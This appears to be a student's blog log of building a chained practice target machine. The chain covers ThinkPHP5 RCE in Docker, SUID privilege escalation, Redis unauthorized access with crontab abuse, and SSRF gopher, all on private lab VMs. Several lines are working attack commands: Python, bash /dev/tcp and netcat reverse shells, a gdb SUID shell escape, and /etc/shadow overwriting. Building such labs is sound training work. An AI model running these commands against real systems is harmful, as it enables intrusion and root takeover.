ssrf的gopher+redis未授权+thinkphp5的rec漏洞+docker创建ubuntu容器+ 通过cookide简单绕过+Crontab定时任务提权

只有自己当过出题人,才会有那种站在出题人角度想问题的感觉。这是我根据大纲自己想的靶机。事实证明,大差不差。

思路准备

准备:我使用1台kali,克隆了一下,就叫kali2号吧,现在有两台

kali1:192.168.10.35

kali2:192.168.10.39

拍快照!!!!!!!!!!!!!!!!!!!

步骤:先用kali1获取到kali2中www-data的权限,然后发现docker中的thinkphp5(这个漏洞只在dokcer里找到了,官网上没有了,没法直接搭建到kali2上),rce破解后得到用户gk的公钥,我们ssh -i后,suid提权到kali2的最高用户root。(这里虽然有最高权限了,但是爱学习的同志们,可以趁机学习一下内网穿透)然后再内网穿透到kali2内网内的ubuntu

目的:

1.熟悉Thinkphp5框架结构及特性,掌握Thinkphp5框架漏洞点;掌握远程代码执行漏洞利用方式,利用远程代码执行漏洞写文件的方式。

2.掌握使用FRP网络代理工具、FRP配置文件编写进行网络流量穿透;掌握使用SSH搭建Socks5隧道进行网络流量穿透。(FRP或SSH两种方式掌握一种即可)掌握使用Proxifier或Proxychains将流量转发至Socks5隧道进行网络穿透。

3.掌握Linux系统下,使用配置了SUID程序的方式进行权限提升。

4.掌握Linux 中周期性定时任务Crontab的书写规则,定时任务文件存储位置;

5.一起学习一下反弹shell。熟练掌握反弹Shell的几种方式,获取Webshell获取主机操作权限。

6.一道ctf题

7.ssrf中共gopher的使用+redis未授权访问漏洞的学习

第一关

1.www-data无法登录

使用www-data用户运行Composer - 大伟哥博客 (daweibro.com)这里面有解释

2.不同用户,IP一样吗

一样的。

3.怎么切换自己我为www-data,然后搭建网站

切换自己为www-data用户 - 李照耀 - 博客园 (cnblogs.com)切换到www-adata用户

解决linux普通用户不能使用sudo指令问题_无权在localhost上运行sudo-CSDN博客sudo后,可以使用一些命令

4.对不起,用户 www-data 不能在 kali 上运行 sudo。

解决linux普通用户不能使用sudo指令问题_无权在localhost上运行sudo-CSDN博客

5.搭建rce漏洞网站,进攻靶机的第一关~

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.254.132",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

成功

第二关是ctf

6. 怎么删除添加用户

Ubuntu创建新用户_ubuntu创建用户-CSDN博客

7.创建gk用户,设置为ssh公私钥的登陆

linux创建用户使用密钥对登录_linux添加用户,用户是通过公钥来实现访问-CSDN博客

[test@host .ssh]$ cat id_rsa.pub >> authorized_keys
如此便完成了公钥的安装。为了确保连接成功,请保证以下文件权限正确:
[root@host .ssh]$ chmod 600 authorized_keys
[root@host .ssh]$ chmod 700 ~/.ssh
 

  1. "cat id_rsa.pub >> authorized_keys":将本地计算机上的公钥追加到远程主机的authorized_keys文件中,这样远程主机就可以对本地计算机上的SSH私钥进行认证,实现无需密码即可登录。

  2. "chmod 600 authorized_keys":将authorized_keys文件的权限设置为只有当前用户具有读写权限,其他用户没有任何权限,这样可以防止其他人篡改、删除或查看该文件内容,保证SSH密钥的安全性。

  3. "chmod 700 ~/.ssh":将.ssh文件夹的权限设置为只有当前用户具有读写执行权限,其他用户没有任何权限,这样可以防止其他人查看、修改或删除该文件夹内的文件,包括SSH私钥和公钥,保证SSH密钥的安全性。

RSAAuthentication yes

PubkeyAuthentication yes

  1. RSAAuthenticationPubkeyAuthentication 是 OpenSSH 服务器的配置选项,用于启用 SSH 连接时的密钥认证方式。

  2. RSAAuthentication:这个选项指定是否允许使用 RSA 密钥认证方式进行身份验证。RSA 密钥是一种非对称加密算法,它使用一对密钥,一个是私钥(private key),另一个是公钥(public key)。当客户端尝试通过 SSH 连接到服务器时,会使用 RSA 密钥对进行身份验证。

  3. PubkeyAuthentication:这个选项指定是否启用公钥认证方式。公钥认证使用非对称密钥对中的公钥进行身份验证。客户端将其公钥发送给服务器进行验证,而私钥则保留在客户端。如果公钥验证成功,服务器将允许客户端登录。

ssh详解,ssh密钥生成,服务器认证和登陆 - 知乎 (zhihu.com)

ssh -i id_rsa [email protected]

7.把以上这些命令des加密,这还包含了压缩包隐写,png隐写+反转

在线DES加密 | DES解密- 在线工具 (sojson.com)

我把它放在了www-data的家目录下,并且改名为.flag

你可以直接file去查看,发现是zip包,或者010看出来

然后是倒序的图片,然后是png宽度隐写,本来是想出jpg高度隐写的~

最后你会得到一个网站,就是第9问的那个网站

9.让www-data可以运行docker中的thinkphp5

使用www-data用户运行Composer - 大伟哥博客 (daweibro.com)

我现在/etc/passwd 中www-data的权限——>/usr/sbin/nologin www-data

vim sudoers

www-data ALL=(ALL) NOPASSWD: /usr/bin/docker-compose

运行docker,启动thinkphp

vulhub-thinkphp漏洞复现_vulhub thinkphp_0xActive的博客-CSDN博客

docker-compose down #关闭镜像,注意所在位置

如果你想修改端口,

vim docker-compose.yml

想改几就改几

10.我想把公钥藏到里面,然后你用thinkphp的漏洞去得到密码,去gk的.ssh解压缩包,得到公钥,去登陆gk

F9!e#2rT5@p1

thinkphp利用工具下载

thinkphp漏洞利用工具-thinkphp_gui_tools(三)_thinkphp综合利用工具-CSDN博客

第三关

11.成功登陆gk后,去学习suid提权漏洞复现

12.什么是suid提权

SUID(Set User ID)是一种文件权限设置,用于在执行文件时临时提升用户权限。当以SUID位设置了可执行文件的权限后,无论是谁执行该文件,都会暂时拥有该文件所有者的权限。

具体来说,如果一个可执行文件的用户权限设置了SUID位,当其他用户执行该文件时,该文件将以文件所有者的权限来执行,而不是执行者自己的权限。这样可以使得普通用户在执行某些需要特权操作的程序时,暂时获得部分或全部超级用户的权限。

简单来说,就是给一个可执行文件设置了权限,让其他普通用户可以以拥有者的身份去运行

13.suid提权复现,在gk里面搭建,使用配置了SUID程序的方式进行权限提升。

红队笔记之Suid提权浅析与利用方法总结_suid提权、-CSDN博客,这个学习权限很不错

Linux----SUID提权复现-CSDN博客,这个时一种搭建思路,但不是我想要的

简谈SUID提权 - FreeBuf网络安全行业门户这里面有我想要的部分东西

Linux提权————利用SUID提权_centos8对bash命令赋予suid权限,提权查看/etc/shadow-CSDN博客这个也挺详细的

find的suid漏洞

vim的suid漏洞搭建

没有给权限之前,去看final_flag

进去就说运行权限不够,然后:shell之后就是这个权限

问题来了,我改给谁,我先试试vim.tiny

我来解释一些,下载给过权限之后,你直接使用vim.tiny就相当于sudo了,有root权限

成功,但是:shell之后还不行,还是普通用户

然后咱试试这个

vim.basic final_flag

我把vim.tiny进行了u-s,结果权限就不行了,说明vim.basic和vim.tiny两个时独立的,到时间你都尝试一下

bash

直接使用的效果很明显,没任何反应

man、less和more

没有给权限之前,按要求输入!/bin/sh

给权限后

结果不行,但是直接less final_flag可以

我有chmod u-s less了一下,嗯嗯!符合要求

man、more和less一样

cp和mv一样

使用cp覆盖 /etc/shadow
使用mv 覆盖 /etc/shadow 或者/etc/sudoers

不再演示

awk

没给权限之前

给了之后还是这样

这样也不行

原因是因为这是给软连接

找一下真正的文件

给了权限后,还是不行

gdb(其他博主写的)

 gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

还有一些我搜集的
 

修改第一关,多设置一个方向可以获取到www-data的权限——暴力破解+cookie修改

12.我准备修改第一关,第一关我想加上——删除cookie的情况下进行简单绕过,大纲时这样写:的暴力破解,能够通过BurpSuite对WEB应用登录口令、目录进行暴力破解;掌握删除Cookie的情况下绕过简单过滤。感觉不是太明白问老师,就只进行简单过滤,然后修改cookie绕过吧,删除cookie~~真心没听懂。

我自己想了一下,放宽要求,删除cookie和修改cookie为admin都能绕过。

这是一个修改cookie登陆用的例子和代码

1-11 Burpsuite 目录扫描探测_burpsuite扫描网站目录-CSDN博客这是一个burp爆破网页的例子

还在找目录扫描工具?一个BP全搞定! - FreeBuf网络安全行业门户

Burp Suite自带了很多常用的字典,common-directories这个字典包含了很多常见的目录名。

但是我上网搜,找不到这个字典

2022-渗透测试-web目录爆破-常用的三个工具_dirbuster_保持微笑-泽的博客-CSDN博客

这是dirb的字典/usr/share/wordlists/dirb/big.txt

在kali系统的/usr/share/wordlists/目录里,自带了很多字典,我们使用工具的时候可以直接去使用它。同时在Github里也有很多公开的字典,可以自行去下载使用。

这里好像有很多自典,看你是否需要

还有这个Index of /download/dict/ (somd5.com)

burp字典_渗透中爆破字典的生成-CSDN博客但是,有一个是爆破所有目录的文件名的,但是长度有限制,这种方法太极端,不推荐

有什么办法修改cookie或local storage?_f12修改cookie_我想要身体健康的博客-CSDN博客删除cookie的方法,burp也能删除,所以不用学也行

第一关的这个需要前端和后端,卡壳了,先弄第四关~

第四关

13.搭建未授权访问漏洞

redis的安装与卸载(linux版)_卸载安装rz命令-CSDN博客卸载我以前高版本的+redis连接,他的启动不是太符合我,安装过程我是按找下面的那个,下面的那个是4.*版本的,反正版本越老越好嘛

Redis未授权漏洞检测方法+Redis基础+Redis环境搭建+Redis恶意利用_redis逻辑漏洞测试方法-CSDN博客

未授权漏洞学习,解决了搭建未授权访问漏洞的问题;redis设置成后台启动;3种渗透方法学习;安装

【精选】利用redis未授权访问漏洞获取主机权限_redis获取权限_大鸟安全的博客-CSDN博客

3种渗透方法+漏洞版本介绍(这个很重要,要不然我就不会卸载我的7*的版本了)

【精选】利用redis未授权访问漏洞获取主机权限_redis获取权限_大鸟安全的博客-CSDN博客

未授权漏洞利用3种方法,和前面一样,还没仔细研究,明天看

Redis的启动方式三种_redis启动-CSDN博客

redis启动

然后连接——>redis-cli -p 6379

14.redis漏洞利用

Redis未授权漏洞检测方法+Redis基础+Redis环境搭建+Redis恶意利用_redis逻辑漏洞测试方法-CSDN博客

定时任务学习

如果你想远程连接别人的Redis,你需要知道Redis实例所在的IP地址和端口号,以及正确的密码(如果有的话)。一旦你拥有这些信息,就可以使用redis-cli工具连接到Redis实例。

以下是连接Redis实例的示例命令:

redis-cli -h <Redis IP> -p <Redis Port> -a <Redis Password>

例如,如果Redis实例的IP地址为192.168.1.100,端口号为6379,密码为mypassword,则可以使用以下命令连接到Redis实例:

远程连接redis

./redis-cli -h 192.168.10.22 -p 6379

redis-cli -h 192.168.1.100 -p 6379 -a mypassword

连接成功后,你就可以执行Redis相关命令,例如get、set等,来对Redis进行操作。请确保你已经获得了授权,且遵守了其他人对于Redis实例的使用规定。

值得注意的是,远程连接Redis存在安全风险,请确认你已得到适当的授权和权限,并采取必要的安全措施,例如启用Redis的认证功能、限制TCP连接、使用SSL/TLS加密等等。

到这里我已经成功尝试了redis的webshell漏洞,定时任务漏洞,争取今天弄成

然后就去学习redis的理论和定时任务书写,我得写几个试试,饭咬一口一口的吃,不能太急着继续往下走了

我总结一下,redis未授权访问漏洞就是给予了写文件的权利,还能选择把文件放在那里,权力贼大,还是以root身份写的,对啊,为什么是root身份,是因为redis是root下载的?

这是一个很好的问题!!!先留着

1.查看信息:info
2.删除所有数据库內容:flushable
3.刷新数据库:flush
4.看所有键:KEYS*,使用 select nun可以查看键值数据
5.设置变量:set test“who am i
6.config set dir dirpath设置路径等配置
7.config get dir/filename获取路径及数据配置信息
8.save保存
9.get变量,查看变量名称
————————————————
版权声明:本文为CSDN博主「OceanSec」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/q20010619/article/details/121912003

明天需要注意和解决的

14.redis和cron开机自启动(写了一个定时任务),以及kali内无法启动问题,还有快捷启动问题

可能是因为移动了配置文件问题吧,才导致systemctl restart启动失败

cp /redis-4.0.11/redis.conf /usr/local/redis

/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
/usr/local/redis/bin/redis-cli
 

首先,打开终端并使用文本编辑器打开~/.bashrc文件:

vim ~/.bashrc

在文件的末尾添加以下行(假设Redis的可执行文件路径是/root/redis-4.0.11/src):

export PATH=$PATH:/root/redis-4.0.11/src

保存并关闭文件。然后,运行以下命令使更改生效:

source ~/.bashrc

现在,你就可以直接运行redis-cli命令了,而不需要指定完整的路径:

15.定时任务不成功问题

反弹shell失败的几种原因_反弹shell没反应-CSDN博客

根据你提供的命令bash -i >& /dev/tcp/192.168.10.35/4444 0>&1,你遇到了一个错误。这个错误提示表明在你的系统上,/dev/tcp/192.168.10.35/4444这个路径并不存在。

这是因为/dev/tcp是Bash shell的一个特殊设备文件,用于建立TCP连接。然而,并不是所有的shell都支持/dev/tcp这个特性。

如果你使用的是zsh shell,它可能不支持直接通过/dev/tcp来建立TCP连接。相应地,你可能需要使用其他方法来实现你的需求,例如使用nc命令(也称为netcat)来建立TCP连接。

用nc -e /bin/bash 192.168.10.35 4444

还有放置路径问题,我现在是放在/var/spool/cron/crontab/root这个文件里

现在尝试/var/spool/cron/root,不行的,kali和ubuntu都只能放/var/spool/cron/crontab/root,他喵的!!!!我说怎么不成功呢

他喵的!!!!

ubuntu的定时任务写在/etc/crontanb这个文件里才对

不对,查阅资料,/etc/crontab是系统定时任务,/var/spool/cron/crontab/用户,是用户的定时任务。但是为什么不执行呢?

感谢!!!!!!

解决ubuntu下定时任务不执行问题-CSDN博客

日志里说权限给的太高,不安全,所以不执行,需要修改权限为0600

牛的,改完就成功了!!,然后我把他改权限设置成了定时任务

16.搭建ssrf的gopher漏洞网站

SSRF---gopher和dict打redis_gophar打redis_Z3eyOnd的博客-CSDN博客

这个里面有一个感觉很重要,dict://127.0.0.1:6379/auth:密码

【精选】CTFHub-Web-SSRF练习_ssrf题目_Atkxor的博客-CSDN博客

里面有例题感觉还不错,下面是博主用到的工具,感觉还不错

http://github下载gopherus

17.docker里搭建ubuntu

Docker 容器使用 | 菜鸟教程 (runoob.com)  docker的学习!!!! docker的学习!!!!

实战 | ​Docker ubuntu:18.04 镜像制作 - 知乎 (zhihu.com)按照大纲要求下载ubuntu server18.04,失败,不要尝试了!!!!!!!!!!!1

学习删除docker的镜像和容器删除docker容器和镜像的命令_docker 删除 容器-CSDN博客

好好好!!!!

他喵的,老子自己学一下怎么搭建自己想要的ubuntu!!!!

docker serach ubuntu18.04后,问人工智能,他说这个jjuanrivvera99/ubuntu18.04-apache2-php7.2-oracleclient12.2镜像适合,但是没有redis,没事,我有安装包,小问题,我试试

docker serach ubuntu18.04 #找镜像

docker pull jjuanrivvera99/ubuntu18.04-apache2-php7.2-oracleclient12.2#拉镜像

docker run -itd --name ubuntu-test ubuntu #创建容器

或者docker run -i -t ubuntu:18.04 /bin/bash #创建容器

18.容器的启动的docker-compose up -d和docker run -i -t ubuntu:18.04 /bin/bash的区别?

启动Docker容器的两个不同的命令。

  1. docker-compose up -d:这是docker-compose命令的一部分,用于使用compose文件启动多个容器。Compose文件定义了一组相关服务的配置,例如镜像、端口映射、环境变量等。使用docker-compose up -d命令,Docker将根据Compose文件的定义,创建并启动所有容器,并将它们放在后台运行(detached mode)。这样可以很方便地启动和管理多个相关容器。

  2. docker run -it:这是docker命令的一部分,在单个容器上执行。使用docker run -it命令,可以基于指定的镜像创建一个新的容器,并在交互式终端(interactive mode)中进入该容器。这种方式适用于需要与容器进行交互、查看日志或调试的场景。

所以,主要区别在于:

  • docker-compose up -d用于启动基于Compose文件定义的多个容器,适合批量启动和管理容器。
  • docker run -it用于创建并进入一个单独的容器,适合与容器交互和调试。

需要注意的是,docker-compose可以通过定义多个服务之间的连接和依赖关系,实现容器间的通信和协作。而docker run命令则主要用于单个容器的操作。

dokcer到此结束。。。。。。。不继续专研了

19.把设置好的网站尝试搭建在ubuntu上

下载了一个docker

19.学习设置内网穿透

又学到一个新东西,这个可以搭建网站目录

python -m http.server 8080

kali2上搭建thinkphp5

先直接去下载一下docker

vulhub-thinkphp漏洞复现_vulhub thinkphp_0xActive的博客-CSDN博客

kali2上搭建ubuntu

最后成功了,但是发现kali克隆是链接克隆,没办法发给你们。。。。。

猜你喜欢

转载自blog.csdn.net/m0_71274136/article/details/134127626